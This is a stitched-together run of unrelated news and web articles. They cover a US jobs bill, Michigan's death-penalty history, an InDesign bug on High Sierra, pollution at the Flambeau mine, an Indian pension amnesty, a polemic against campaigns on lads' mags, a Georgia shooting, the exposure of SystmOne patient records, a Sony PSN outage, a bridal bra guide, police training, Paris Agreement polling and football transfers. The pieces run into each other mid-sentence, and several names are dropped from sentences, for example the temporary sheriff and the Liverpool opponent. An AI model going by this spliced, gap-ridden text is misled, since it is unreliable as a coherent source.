The bill, which is much smaller than some original proposals, would exempt businesses from paying Social Security payroll taxes this year after hiring from the nation’s pool of millions of unemployed. The Build-America Bonds Act of 2009 would be renewed by the jobs bill. The scaled-down bill would also extend some tax breaks for small businesses, renew highway programs through December, and put $20 billion in the highway trust fund.
Brown issued the following statement about his vote:GRAND RAPIDS, MI “Michigan needs the death penalty.” This is among the most typical of comments whenever the crime of murder leads to what, for many, is the unsatisfying conclusion of Michigan’s ultimate punishment: life in prison without the possibility of parole. But for 165 years, capital punishment has not been an option for state juries. This is despite some unsuccessful efforts to make it so that have been stopped by voters or stalled out in legislatures, whether they be dominated by Republicans or Democrats. “Support for capital punishment is a mile wide, but only an inch deep,” said former state Sen. William VanRegenmorter, R-Hudsonville, after a try to get the death penalty enacted in Michigan sputtered out in the 1980s. As far back as Michigan’s first settling as a territory in 1805, the use of the death penalty was sparse. By most tallies, less than a half dozen people, many of whom were American Indians, were sentenced to capital punishment. It appears that all but two death penalty cases in Michigan were also carried out by the federal, not state, authorities. But the final act for Michigan’s death penalty came in 1830. According to accounts from historians and newspapers, 50-year-old Stephen Simmons – the keeper of an inn along the Chicago Road in Detroit – came home drunk. As was his reported tradition, Simmons woke up us his wife, Levana, and demanded she join in with the imbibing. When she refused, Simmons flew into a rage witnessed by his children and punched his wife in the stomach. She would die as a likely result of the blow. A typically hasty trial commenced, and the jury found Simmons guilty. The trial offered the testimony of Simmons’ daughters who testified of their father’s drunken rampages, but offered little in the form of premeditation that is required for first-degree murder convictions. The judge sentenced him to death, and within days, a gallows was set up near Farmer Street at Gratiot Avenue, complete with gallery seating, areas for venders and a band to play.
Wayne County Sheriff Thomas Knapp refused to carry out the execution, so territorial Governor Lewis Cass named political activist, military leader and hotel builder
as temporary sheriff to carry out the act. As people settled in for the main event, Woodworth asked Simmons if he had any final words. Simmons responded with a hymn: “Show pity, Lord, O Lord, forgive, let a repenting rebel live. Are not Thy mercies full and free? May not a sinner trust in Thee? My crimes are great, but can't surpass the power and glory of Thy grace, great God. Thy nature hath no bound, so let Thy pardoning love be found.” Swirling in the public consciousness at the same time was the tale of Detroiter Patrick Fitzpatrick, put to death across the river In Windsor for the death and rape of an innkeeper’s daughter. By 1835, another man made a deathbed confession to the crime. Michigan was a Union state by 1847, and it was then that the legislature abolished the death penalty. That abolition was upheld by a bi-partisan effort in 1963 when the Michigan Constitution was ratified. David Chardvoyane, a professor at the law schools of Wayne State University and University of Detroit Mercy, is an expert and author of “
as well as a new book on the history of the Detroit Federal Court covering eastern Michigan.
He says despite one federal execution committed near Midland in the 1930s, Michigan has a New England and Dutch Protestant abhorrence of the death penalty that came to Michigan with many of its settlers. He said in states where the death penalty is reinstated – like New York and Illinois – it is almost never applied. And in death penalty states like Texas, where more than a dozen people are executed annually, the idea that capital punishment acts as a deterrent is not generally embraced, but rather is it is as “an eye for an eye.” “The idea of the death penalty as revenge does not appeal to many in the Northern States,” Chardvoyane said. The state’s long tradition of anti-execution was even given a nod by the U.S. Court of Appeals in
E-mail Barton Deiters: bdeiters@mlive.com and follow him on Twitter at twitter.com/GRPBartonApple has released an update that addresses the cursor problem described in this post. For details, see this post by Steve Werner.
Important news: macOS 10.13, aka High Sierra is out, but InDesign users should hold off on upgrading because there is a significant bug that will cause problems with the cursor in InDesign and Illustrator. Adobe has published a list of known issues with High Sierra for both Illustrator and InDesign.
You can see screenshots of the cursor problem in InDesign at this post on the Adobe forums. It ain’t pretty. The last time I saw a cursor like that I had to pull the cartridge out of my Atari 2600 and blow on it. Unfortunately, this time, there is no such simple fix.
In fact, at this time there is no fix at all, other than reverting back to Sierra (good luck), or switching to Windows ;)
According to reports, you can temporarily make the cursor problem go away by restarting InDesign. But it will eventually come back. Caveat upgrador.This photo shows the Flambeau Mine site in 2006, nine years after it closed. Much of the site has been reclaimed, with trails, forests and wetlands, but some tests still show elevated levels of copper and zinc in a stream on the property. Credit: Wisconsin Department of Natural Resources
By of the
Fourteen years after mining operations ended, water samples on the site of the Flambeau mine near Ladysmith show high levels of toxic pollutants.
In the most recent tests, state records show that copper and zinc levels have exceeded state toxicity standards for surface waters, potentially threatening fish and other aquatic life.
The findings come as mining regulation looms as a legislative issue this fall, and the Flambeau mine has been cited as a model of mineral extraction without environmental harm. Lawmakers are poised to rewrite mining laws and ease restrictions after Gogebic Taconite, based in Hurley, put plans on hold this year for a $1.5 billion iron ore mine until regulations are streamlined.
Officials with the state Department of Natural Resources and the Flambeau Mining Co., a subsidiary of Kennecott Mineral Co., say pollution problems haven't been ignored - the company has been removing contaminated soil from the property since 2003.
Nevertheless, DNR testing revealed that 41% of 94 samples taken in 2010 and 2011 had more copper and zinc than standards set by the state to protect aquatic life. The samples were taken from a small stream, a pond and ditches.
The latest results are comparable with previous tests by the mine's consultants, according to the DNR.
The polluted waters prompted a lawsuit earlier this year by an environmental group, the Wisconsin Resources Protection Council.
Also, the DNR is deciding whether to officially classify the waters as impaired. That would begin a process of finding ways to turn around the health of the stream. DNR officials say in some cases, property owners are required to pay for or help with the improvements.
The environmental group has pushed for the stream, known as Stream C, to be listed as an impaired water body.
The stream originates in nearby wetlands. It is wet only part of the year and passes through part of the mine property before joining the Flambeau River. Although it runs only intermittently, Stream C is not insignificant.
One DNR official likened the stream and other waters on the site to "capillaries in our blood system."
"They are the small channels that move nutrients," said Tom Aartila, a DNR water resources sources supervisor. "They're breeding and habitat areas and they are a source of nutrients."
Flambeau was an open-pit mine that operated from 1993 to 1997. It produced 181,000 tons of copper, 3.3 million ounces of silver and 334,000 ounces of gold, according to the company.
The minerals generated $341 million in revenue and a net income of $126 million during its lifetime, Kennecott reported.
As debate over mining regulations heats up, the newly reorganized Wisconsin Mining Association has held up the Flambeau mine as a success, saying it met standards of opening and closing under state law.
In a push to develop its Eagle mining project in the Upper Peninsula, Kennecott also touts Flambeau on its website for "protecting the environment from adverse impact."
The mine is now under development and will produce nickel and copper for Kennecott, a unit of British-based Rio Tinto.
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Montreal Impact (July 25).
To make matters worse for the Sounders, Brad Evans also appears to be working his way into the center back rotation.
Marco Pappa stands to miss significant time this summer, too, as Guatemala not only has the Gold Cup, but also 2018 World Cup qualifying to worry about (yes, you read that right). Guatemala's busy summer starts with a friendly in Uruguay on June 6 and is followed by home-and-home World Cup qualifiers against Bermuda (June 12 and 15). The next round wouldn't be until the end of August at the earliest. But even if they fail to get out of the group stage of the Gold Cup, Pappa will likely be with his national team until after the July 15 match against Cuba meaning he'll likely miss at least four Sounders league matches and as many as six.
Just to test the Sounders' depth a bit more, it's now looking increasingly likely that Cristian Roldan will make the United States U20 World Cup team, which will head to New Zealand at the end of May.
The tournament runs from May 30-June 20 and would likely force Roldan to miss at least four matches and as many as six (the Sounders play at the Philadelphia Union on June 24).
Meanwhile, the Sounders organization will also have U.S. Open Cup to deal with. S2, which probably won't have a full complement of on-loan players, enters the tournament on May 20 and could end up playing four matches between then and May 30. The Sounders are scheduled to enter the Open Cup on June 16-17 and would play at least one more match on June 30-July 1.
The good news is that other MLS teams will likely be dealing with their own absences, but experiences like Sunday's dismantling of New York City FC will likely be harder to come by.The subscriber base of the Employees’ Provident Fund Organisation (EPFO), the government-run retirement fund manager, has swelled by over 20%—thanks to an amnesty scheme it unveiled five months ago.
A month before the deadline for the scheme ends, EPFO added 8.2 million employees to its active subscriber base of around 38 million. The net addition also means the EPFO kitty will increase by up to Rs12,000 crore per year. “82,01,533 workers enrolled, as on 31 May 2017 under the Employees’ Enrolment Campaign 2017," EPFO said in a monthly update.
“The response is really huge. We hope to add 10 million subscribers to the base because of this scheme," V.P. Joy, central PF commissioner, said over phone.
Ten million additional subscribers by June-end, when the scheme ends, will mean EPFO’s membership will jump by over 25%. “Our primary aim is more people under social security net and the additional money flow to EPFO is a natural outcome. We hope new additions will help EPFO corpus increase between Rs6,000 crore and Rs12,000 crore per annum," said Joy.
Currently, EPFO has a monthly incremental corpus of between Rs11,000 crore and Rs12,000 crore. The amnesty scheme encouraged employers to enrol in EPFO workers who had joined them between 1 April 2009 and 31 December 2016. Employees’ contributions, if not collected during the period, were waived. The employers’ contribution will be required to be remitted but the default of past years will not attract any penalty.
Joy said that in the past few months, most of EPFO’s resources had gone into making the scheme a success. The key catchment locations for the scheme were industrial states, including Maharashtra and Karnataka, and the national capital region centred on Delhi.
As per the amnesty scheme, once a firm declares to add a certain number of employees under EPFO coverage, it has to pay the employers’ portion of remittances within 15 days.The demonisation of lads mags isn't about equality or respect. It's a sexist assault on healthy masculinity, says writer Peter Lloyd
Co-op has removed Nuts from its shelves for refusing to use modesty bags
Feminists are threatening supermarkets with legal action under equality laws
Despite anti-page three campaigns, half naked men are pictured everywhere
For the past few months Britain's feminist community have taken affront with men's magazines.
A ccording to their Lose The Lads Mags campaign, publications such as Nuts, Loaded and Zoo objectify women while green-lighting domestic violence in a nation of misogynistic men.
In a bid to have these titles banned, activists are using equality legislation to scare retailers into submission, arguing they'll face legal action if they disobey their orders.
Banned: Lad's mags such as Nuts and Zoo have been banned by the Co-op for refusing to use modesty bags
Concerned: Peter Lloyd says that the assault on lad's mags is a sexist attack on healthy masculinity
So far, they've had some success. Earlier this month, it was revealed that The Co-Op have removed weekly title Nuts from their shelves because it refused to be bullied into a modesty bag, even though their covers have consciously been more conservative in recent weeks.
The magazine's publisher, IPC Inspire, eloquently described the supermarket's ultimatum as 'an unreasonable attempt to prevent shoppers from freely browsing a legal magazine that is already displayed according to Home Office guidelines'.
Meanwhile, IPC's managing Director, Paul Williams, added: 'The objection that niche lobby groups have against certain sectors of the media should not mean that the right to purchase a perfectly legal product is restricted for the over half a million readers.
'This is no longer a question of whether you like men’s magazines, it's a question of how far you can restrict the public’s ability to consume free and legal media before it becomes censorship.'
And he's right. Because this campaign has nothing to do with equality - it's simply another fashionable attack on our young men.
In the same week that The Guardian's Suzanne Moore wrote a creepy, cruel, boy-bashing guide on how males should manage their penises - printed in what is supposedly our country's most progressive and big-hearted newspaper - we're told that only women need protecting from sexism in the big, bad media.
Clearly not.
Despite the fact we live in a post-sexual revolution society, where people can enjoy the human body without shame, here we have women taking a moral standpoint on men's free choice as adults.
Yes people, it may be 2013, but we've swapped the repression of women for the repression of men.
Ironically, what these women fail to realise is that it's their actions that are sexist, not the magazines they despise.
When Stephen Fry made a throw-away comment about female sexuality in 2010, he was attacked by countless women who said he had no right to voice an opinion.
Apparently, female sexuality is sacred and not up for discussion - especially by men. After all, that would be patriarchal oppression.
Yet, in a blatant example of hypocrisy and double-standards, here we have women telling men how and when they should consume their own sexual pleasures.
Creepy: Guardian columnist Suzanne Moore wrote a 'cruel guide' on how men should manage their penises
Attacked: Stephen Fry was criticised for commenting on female sexuality... but Cosmo can show naked men
Fortunately, anybody with a brain appreciates that lads mags are a celebration of male sexuality, not a chauvinistic plot against women.
In fact, these magazines are much more about men than they are the opposite sex, which is probably why they're being targeted in the first place. Anything enjoyed by men is now considered sexist.
To be fair, the most compelling part of this movement's argument is that children should be guarded from explicit images, which is of course true - but their defence is incomplete.
Because if children need protecting from inappropriate material, shouldn't this also include posters for Hollywood movie Magic Mike? David Beckham in his pants? Men casually being obliterated in computer games?
They should probably also be shielded by pop stars who promote girl power whilst standing in their pants.
And if so-called 'lads mags' are the building block for domestic violence, how do these campaigners explain the rates of spousal abuse in lesbian relationships?
LGBT charity Broken Rainbow show that rates of abuse between gay females are the same as heterosexual couples. Yet they don't have a lads mag in sight.
This abuse is often non-physical too. More than 40 per cent of women who took part in the Broken Rainbow study confessed that that they'd been humiliated, degraded, insulted or verbally harassed by their female partner. Worse still, 12 per cent had been pressured into sexual activity.
Disturbingly, the women at LoseTheLadsMags.com overlooked this.
Exploitation? Feminists don't complain about the treatment meted out to men in films such as Magic Mike
OK: Why is it fine to show male stars such as Cristiano Ronaldo in their pants but not female ones?
Quite frankly, these feminists - both male and female - need to get their priorities in order. If they're really so dedicated to gender equality and fairness, they should be addressing the bigger, more pernicious issues that underline society: the fact that three million UK men have no access to their children, the worrying trend of schools nationally failing boys and the painful reality that young men's suicide rates are at a ten-year high (for a reason: misandry).
Last month, women gathered at London's Trafalgar Square to protest the current feminist hot-topic of female circumcision - commonly referred to as FGM.
There they demanded an end to the genital mutilation of girls, and only girls, despite the fact that millions of baby boys are routinely circumcised across the world each year. Many of whom suffer infections, damage to the penis and even death.
Only this week the media obsessed over the worrying case of barrister Robert Colover, who described a 13 year-old sex attack victim as 'predatory', but earlier this year a judge allowed a female paedophile to walk free from court saying: 'it was a one-off...and your [male] victims have largely recovered.'
Unsurprisingly, there was no CPS review and no backlash - especially from veterans of the gender war.
Which begs a very important question: if feminism is such a benevolent force for good, as lads mags protesters say, why has it done nothing to change men's disadvantages in the 40 years it has been the political and social status quo?
The life expectancy gap rages while the pay gap closes, even though they are manifestations of the same thing. Home Office statistics prove that men are at least 40 per cent victims of domestic violence, but not one UK shelter exists for men.
There is also a huge sentencing disparity in criminal courts, which sees men get longer sentences for exactly the same crimes.
And while it may be true that women suffer most when it comes to being sex objects, the world equally objectifies men as success objects - just look at WAG culture. The divorce courts are no better: men are constantly objectified as walking cash points and sperm donors.
Quite frankly, I'm more concerned that our young people will see this rather than a woman with no clothes on.
We are perilously close to becoming a society that wants women treated equally - except when they're treated better. But if we're ever going to achieve equality, this approach is never going to work.CLOSE Three people are dead and a county sheriff and deputy were wounded after what began as a domestic dispute in northeastern Georgia. VPC
Habersham County Sheriff Joey Terrell. (Photo11: Habersham County Sheriff's Office)
ABERSHAM COUNTY, Ga. — Authorities say the suspect in the shooting of Habersham County's sheriff and a deputy is dead.
According to Georgia State Patrol, Sheriff Joey Terrell and a deputy identified as William Zigan responded to a domestic call in Clarkesville on Sunday. They found a woman — identified as the suspect's ex-wife — dead in a garage and an armed man on the scene. Both Terrell and Zigan were shot by the suspect, who fled.
The suspect, identified as former Gainesville city police officer Anthony Giaquinta, 41, apparently crashed his vehicle near the house. He then apparently headed back to the property.
Around 11:20 p.m., police found the body of the suspect, and another man near the back of the home. It's not yet clear the circumstances behind their deaths.
The sheriff and deputy were transported to local hospitals for treatment, and were said to be responding well.
The Georgia Bureau of Investigation is handling the investigation.
Read or Share this story: http://usat.ly/1EHAEcYPatients would not have been told their records were available in this way, and information could be accessed for malicious reasons, or fall in to criminal hands, privacy experts warned.
Phil Booth, from privacy campaign group medConfidential said: “This is a truly devastating breach which involves millions of patients’ GP records – for some, the most deeply personal, sensitive and confidential data about them – being exposed to hundreds of thousands of people, with no mechanism to prevent them if any of them chooses to look.”
The campaign group has published information online so patients can find out if they were affected, and take steps to protect their data.
The head of the British Medical Association’s IT committee has written to all GPs who use SystmOne, owned by TPP, urging them to take “urgent action”.
Dr Paul Cundy warned doctors that they have breached data protection laws, and could be open to patient complaints.
“This is a serious issue with potentially huge implications for patients, GPs and TPP,” he said.
“At the moment GPs are at risk of complaints being made against them.”
Doctors have been urged to consider switching off the function, although this would make it difficult to work with local hospitals, or to tell their patients that security has been compromised.
“It is unlikely that patients would expect to learn that their records were accessible by the wide range of institutions and organisations that currently have [SystmOne] installed, such as many prisons. I understand there are currently approximately 2,000 separate organisations connected across their client base,” he said.
A spokesman for the Information Commissioner told Pulse magazine: “We do have data protection compliance concerns about SystmOne’s enhanced data sharing function. These concerns are centred around fair and lawful processing and ensuring appropriate security in respect of the data held on the system.
“We have made these concerns clear to TPP and NHS Digital and we are in discussions with them about how these are resolved.”
Under data protection laws, patients are supposed to be informed of any privacy risks to their data and told if others are being given access to it.
A TPP spokesman said practices using SystmOne must either “fully inform patients about who might be able to see their records, what parts of the their records and in what circumstances” or “turn off record sharing”.
No SystmOne user should be using patient record sharing function “without fully understanding the consequences and without fully informing patients of the impact on their care,” he said.
TPP has previously said it is “making amendments” to the function.
The spokesman said the company remains in talks with the Information Commissioner, NHS Digital and NHS England about the issues.Things aren't getting any better for Sony. The Financial Times reports that Sony's PlayStation online store went down for approximately two hours overnight following a cyber attack. Early reports seem to indicate that no passwords or sensitive information were compromised.
While it's clear that PSN did suffer an outage, the cyber attack hasn't been confirmed by Sony. A Twitter account for a group called the Lizard Squad took responsibility for the outage, but that doesn't mean it's true. This could just an outage, even if its timing couldn't be worse.
Details on the supposed attack are slim, and Sony is reportedly still investigating. It's not clear if the outage and possible attack are related to the massive hack that resulted in the leak of unreleased Sony films, or the slew of Social Security numbers and passwords that were exposed in the hack. We'll update as more information becomes available. [Financial Times via Reuters]MOAR BRAS! Today is part two of How To Find A Bra That Fits You (cue Kermit arm flailing), brought to us by reader Michelle Naidu who owns a bra store in Saskatoon, Saskatchewan, and therefore knows her sh*t. Last time Michelle was here, she gave us amazing tips for finding a bra that fits (both for special occasions and in general), which you should absolutely check out if you haven’t yet. And today she’s back with a comprehensive guide on special occasion bra shopping. Personally, I was so frustrated by the bra shopping experience for my own wedding, that I ended up wearing a pair of zebra-print star-shaped pasties under my dress and nothing else. While I won’t knock a good pair of animal print pasties, I’m assuming the same probably can’t be said for most of APW. So if you want to avoid my fate, I suggest reading on.
—Maddie
Some days I spend a lot of time cursing dress designers. They design gorgeous dresses completely ignoring the reality that ninety-nine percent of the human population can’t wear said dress without some kind of undergarment. I’m looking directly at you backless strapless beauty. For the record, ladies, I do also spend a small amount of time cursing at you also if you buy said backless strapless dress and then get angry at me because gravity is my fault (and the dress is final sale!). Bras are not magic (though a good one can be magical). Be realistic about your support requirements and your comfort level before buying the dress. When the saleslady is telling you “Oh, you can totally wear that braless!” can you actually? Not could a human wear it braless, can you wear it braless? You know, in public. If yes, rock on sister. If not so much, well I do have some options. And yes, you should bring your dress with you*.
Your Favorite Bra
Unless you stay up watching infomercials, you might not know that there are several options to modify a regular bra you already own (and hopefully love) to work with your special outfit. These are often very low cost alternatives to buying something outfit-specific that you may not wear often or ever again. Also, never underestimate the power of a little strategically placed double sided fashion tape.
Strapless Bras
Strapless Bras: 1. Elomi Molded Underwire Strapless Bra available at HerRoom ($69) 2. Fantasie Ava Strapless Underwire Bra available at Freshpair ($86) 3. Perle Prima Donna Strapless Bra available at HerRoom ($105) 4. Patricia Stay Up Strapless Bra available at Change Lingerie ($67.95) 5. Marie Joe Avero Strapless Bra available at HerRoom ($104.50)
The search for a comfortable and supportive strapless bra can be frustrating, especially if you are larger in the chest.
Pros: A good fitting one goes a long way—you can, and will wear it for more than your special event. They often have seamless cups and very little detail, so they can be worn under most fabrics. Because it’s just a bra, you’re not adding layers or complexity to your outfit.
Cons: It’s just a bra. Even with the best strapless bra, gravity is not your friend. The more active you plan to be, and the longer you’ll need to wear it, the less appealing a strapless bra can be. For a regular event, you can likely build in opportunities to adjust if needed. If you’re going to be the centre of attention, you might want to factor this into your decision.
Things to look for: Make sure you’ve got a minimum of three clasps at the back, bustier ladies try for four. Width is what’s helping your bra stay in place. You also want to buy your strapless even snugger than a regular bra, so the width helps eliminate the ever-dreaded back fat look. Also, check out the silicone around the top – you want it to be thick/feel slightly tacky to the touch. Make sure you try on your strapless without any straps, and spend a bit of time dancing, jumping, and bending in the dressing room to make sure it’s comfy and not going to move in the first thirty seconds.
Bustier/Basque
Bustiers/Basques: 1. Dominique Longline Lace Torsolette available at Bare Necessities ($69) 2. Piege Seamless Hidden Wire Bustier available at Victoria’s Attic ($163.95) 3. Jezebel Caress Bustier available at Bare Necessities ($50) 4. Elomi Smoothing Underwired Bustier available at Linda The Bra Lady ($78) 5. Fantasie Ava Underwire Moulded Bustier available at Linda The Bra Lady ($110)
A bustier is a strapless bra, with a bodice to provide extra support. Technically bustiers finish at the waist and basques at the hips, but I don’t think you’ll find many people getting too fussy about this (or knowing there’s a difference). In the last few years many bra companies seem to also be reintroducing long line bras (your grandma likely has stories about the first generation), but most don’t have the ability to be strapless.
Pros: Bustiers come both boned and unboned and provide superior strapless support than just wearing a strapless bra. They are able to all but eliminate the falling down nature of traditional strapless bras. Since they need to be snug to do their job properly, they also can have the added benefit of providing a smoother look under your clothes. Lastly, because you are getting full-bodied support, bustiers can have lower backs and more plunging necklines than strapless bras.
Cons: The added support that comes from boned bustiers can be problematic, as many wedding dresses are boned to begin with. Wearing two sets of boned clothing can be restrictive and uncomfortable, and while unboned and smoother finishes exist, they can be difficult to track down. For this reason bustiers don’t always play nicely with lighter weight fabrics.
Things to look for: If you can find them, real wire boned bustiers are typically far better constructed and will last way longer than those with plastic boning. That said, in terms of a bustier, you get what you pay for. If it looks like it’s a novelty item or is around the $50 dollar mark, it’s most likely meant to look cute and promptly be removed, not worn as a support garment. Buy your bustier from a bra brand you trust (or a recommendation for a friend or in the comments!) and you will have an investment piece of lingerie you’ll wear for years and years. If you’re buying an unboned bustier, pay close attention to the fabric portion: Is it sturdy enough to do anything? Is it going to wrinkle or crease over time? If there are seams, can you see them through your dress? Added tip: buy your bustier on the middle clasp instead of the loosest. Since you don’t wear them nearly as often, stretching isn’t an issue like it is with bras, so it’s nice to have the ability to both snug and loosen it up.
Backless, Strapless Bras
Strapless, Backless Bras: 1. NuBra Feather Lite Adhesive Bra available at Linda The Bra Lady ($36) 2. Nippies Skin Silicone Nipple Cover Pasties available at Amazon ($25) 3. NuBra Original Silicone Adhesive Bra available at Linda The Bra Lady ($65) 4. Fashion Tape available at Linda The Bra Lady ($10)
A strapless, backless bra is typically one that you will adhere to your body. Some come with silicone cups, while others are made of thin fabric cups or just thin fabric.
Pros: No lines, straps, or anything to worry about!
Cons: These are really only an option for smaller chested ladies. It’s really fancy tape. Sweat and adhesive don’t typically go well together, so you’ll want to test out your purchase’s staying power before your event just to make sure you don’t wind up trying to nonchalantly kick your “bra” under the nearest table.
Lastly, while none of these items are magic, a good seamstress just might be. Having cups sewn in, your favourite bra deconstructed and sewn in, or a bustier altered to fit the neckline or backline of your dress are all possibilities. Also, there are amazing ladies everywhere who custom sew bustiers and corsets (both for under clothes and to be worn alone). Depending on where you live, often times the custom option doesn’t seem to be much more expensive than what’s available in stores.
*Unless it’s difficult to transport, like the majority of wedding dresses. Don’t be scared to ask the store if they will allow you to purchase and return several items in a 24–48 hour period for a dress fitting or home trial if they don’t typically allow returns.
Photo by Leah Verwey for Favor JewelryFive years ago, Washington state’s police academy was almost empty. But now the classrooms are bursting as police departments expand and baby boomers retire. And new leadership hopes to shape all these recruits into “guardians of democracy” in an effort to change police culture across the state. On a recent afternoon, instructor Mark Best stood in front of a slide labeled “the road to respect.” Best told the recruits in his class to take the time to tell people why they’ve been pulled over. “You will be amazed at how much more people will appreciate it,” he said. “Treat people like you would want to be treated.” Each class of 30 recruits at the state police academy includes men and women in dozens of different uniforms – they’re wearing the insignia for the police or sheriff’s department that hired them and sent them here for training.
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In the depths of the recession in 2008, there were just one to two classes at the academy at a time. Police departments weren’t hiring. Now training instructor Russ Hicks says that trend has completely reversed. “We started slowly getting back up to three, maybe four classes in 2012, and then we saw a huge spike,” Hicks said. Now there are up to 10 classes going at a time. These recruits are entering the profession as it comes under intense scrutiny nationwide. Hicks said that even before the protests in Ferguson, Missouri, the academy had reshaped its curriculum to focus on the connection to the communities being served. “If we can stay focused on that, we won’t have people viewing themselves as ‘better,’ officers feeling that they’re elite, that they’re better than other people,” Hicks said. “We won’t have officers being afraid. We won’t have officers going off the rails and not treating people with respect.” Academy director Sue Rahr arrived in 2012 after serving as King County sheriff.
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Her curriculum describes police as the “guardians of democracy,” an idea emblazoned on walls throughout the academy. She said there has been too much emphasis on police as warriors in recent decades, outsider cops descending on communities. Rahr said politicians share the blame for that ethos. “It didn’t happen in a vacuum, and it had tons of support from political leaders over the last three decades, because it’s very popular to talk about ‘tough on crime’ policies,” she said. Earlier on, Rahr assumed that military veterans might bring a military mindset to policing. But she said one recruit made clear to her that’s not the case. “He goes, ‘I’m a police officer because I’m done being a soldier; I want to be a guardian not a warrior,’” she said. “So that was a real eye-opener for me. I think people, as I did, misjudge and stereotype military veterans, and I have found them to be some of our very best recruits.” Rahr has had a big platform for her ideas – last year she was named to President Barack Obama’s task force on 21st-century policing. Creating a “guardian mindset” was the group’s first recommendation. But as she recently told a class at the academy, there’s a lot of pushback in law enforcement.
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“Right now there’s a lot of resistance because they don’t know what it is,” she said, referring to more veteran officers. “If you look at our Facebook page, sometimes I just want to stab myself in the eye.” The comments run the gamut. Some say being a guardian is what good officers have done all along. Others say that Rahr’s “kinder, gentler” approach could get cops hurt or killed. In the academy’s classrooms, recruits seem energized by these debates over the nature of policing. They eagerly discuss various scenarios and whether officers did the right thing. Willie Jacobs is in training to join the King County Sheriff’s Office. He said he believes his class can maintain high ideals once the academy ends. “We have a new generation,” he said. “King County and Seattle specifically are hiring a lot of people. Even within my class, you can the shift in the ideas that we have. We’re very specific on constitutional rights here.”
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Those ideals are challenged in a room set up to look like a neighborhood bar. In this exercise, Jacobs and his partner are dispatched to cope with a drunk, belligerent patron and are warned the situation could get ugly. “Hey how’s it going, sir? What’s your name, sir? I’m Deputy Jacobs with the King County Sheriff’s Office; this is my partner right here.” The patron – a training officer in a padded suit– argues with them but puts up no physical resistance. The arrest goes smoothly. Instructor Hicks said going into a bar is a bit of a performance. “Remember, if that was a bar full of people in there, they’re all watching you,” he said. “Think if you were sitting there with your family watching. You see two cool cops come in, totally respectful to this guy and then they brought him out. I’ve done this hundreds of times – people will clap.” If the cops are rude, Hicks said, the crowd may take the drunk guy’s side, even throwing bottles. Hicks also reminds the recruits that people are quick to whip out their phone cameras when police approach.
Sponsoragree to agree By 5 to 1, voters say the U.S. should stick with the Paris Agreement
In December 2015, officials from nearly every country in the world met in Paris to negotiate a global agreement to limit global warming. Last April, the U.S. and 174 other countries signed the agreement, with most of the others following suit since then.
For the past month, President Donald Trump and his senior advisers have wrestled over whether to keep the U.S. in the Paris climate agreement, repeatedly postponing their meeting to reach a final decision.
We would not presume to know the mind of the POTUS or his senior advisers. But, because we have polled the American people about climate change nearly two dozen times in recent years, we have a good understanding of what voters think about this issue.
Our research finds that a clear majority of Americans say that global warming is happening, human-caused, and a serious threat requiring action. More specifically, there is broad public support for the Paris Agreement — even among Trump voters.
Support for Paris
By more than 5 to 1, voters say the U.S. should participate in the Paris climate agreement.
In a nationally representative survey conducted last November after the election, we found that seven in 10 registered voters say the U.S. should participate in the Paris climate agreement. Only 13 percent say the U.S. should not.
Majorities of Democrats and Independents, as well as half of Republicans, say the U.S. should participate. Only conservative Republicans are split, with marginally more saying the U.S. should participate than saying we should not.
By nearly 2 to 1, Trump voters say the U.S. should participate in the Paris Agreement. Almost half of Trump’s voters say the U.S. should participate, compared with only 28 percent who say the U.S. should not.
We have also found that a majority of Americans in all 50 states say that the U.S. should participate in the Paris climate agreement.
Even states with the lowest levels of popular support — West Virginia (52 percent support), North Dakota (56 percent), and Kentucky (56 percent) — have a majority of citizens who say the U.S. should participate in the global agreement. So do the states that provided President Trump with his electoral win: Pennsylvania (68 percent), Michigan (65 percent), and Wisconsin (64 percent).
Attitudes toward climate change
Over the past decade, a growing number of Americans have come to understand that global warming is happening and that Americans are already being harmed by it.
A small and declining number of Americans continue to dismiss the reality and the risks of global warming. Our analysis finds that, currently, 9 percent of Americans have what we characterize as “dismissive” beliefs about the issue. Meanwhile, 18 percent are “alarmed” (i.e., very concerned about the issue) and 34 percent are “concerned” (moderately concerned about the issue).
Conservative Republicans are the least likely to accept that global warming is happening. However, large numbers of conservative Republicans have revised their views in the past several years.
Between spring of 2014 and fall of 2016, the proportion of conservative Republicans who said that global warming is happening increased 18 percentage points — from 28 percent to 46 percent. It is rare to see such a large change in public attitudes in such a short span of time, especially on issues that have long been debated and politically polarized.
It’s too soon to know if President Trump will side with the nationalists on his advisory team who want to withdraw from the Paris Agreement, or whether he will side with his moderate advisers (including members of his own family) and with dozens of American business leaders who want the United States to remain in the Paris Agreement.
However, one thing is clear: Americans and American voters — by a wide margin — want our nation to remain a participant and leader in the international agreement to reduce global warming pollution.Klopp has no say in Coutinho saga amid Barca speculation
The Liverpool manager admitted his hands are tied regarding the attacker, who reportedly is eager to join Barcelona
Jurgen Klopp said owners Fenway Sports Group have the final say on Philippe Coutinho's future at Anfield as push to sign the Brazilian.
Coutinho is believed to have handed in a transfer request on Friday, amid growing links with giants Barca, who are looking to fill the void left by Neymar.
Firmino enhanced to 7/1 to score v Hoffenheim
The international's request came just hours after Liverpool insisted they will not entertain any offers for the 25-year-old.
Coutinho, who missed Saturday's season-opening 3-3 draw at in the, will sit out the first leg of Liverpool's play-off against on Tuesday due to a back problem.
As doubts remain over Coutinho, Liverpool manager Klopp admitted his hands are tied.
"If, for example, there is an offer for a player and I say, 'No', and the owners say, 'Yes, let's ask for a number on how much they want to pay'. And I say, 'I don't want to hear it'. But they say, 'We want to hear it, £50million … £50 million is cool,'" Klopp said. "So then they sell the player — that is how a club works.
Klopp: No change in Coutinho situation
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"That is how it was with Hans-Joachim Watzke [chief executive] at Dortmund. Do you think I said, 'Sell Nuri Sahin to as quick as possible?' It was not my decision. The player had a contract. They agreed. I am 100 per cent, really, 100 per cent [when I say] I don't ask for things I can't get and I respect the rules in the game.
"If they [FSG] say they [Barcelona] will bid whatever and we don't want it then it is a clear message. We don't want money, we want to invest in the team and have the best team because we have aims and dreams. That is the message.
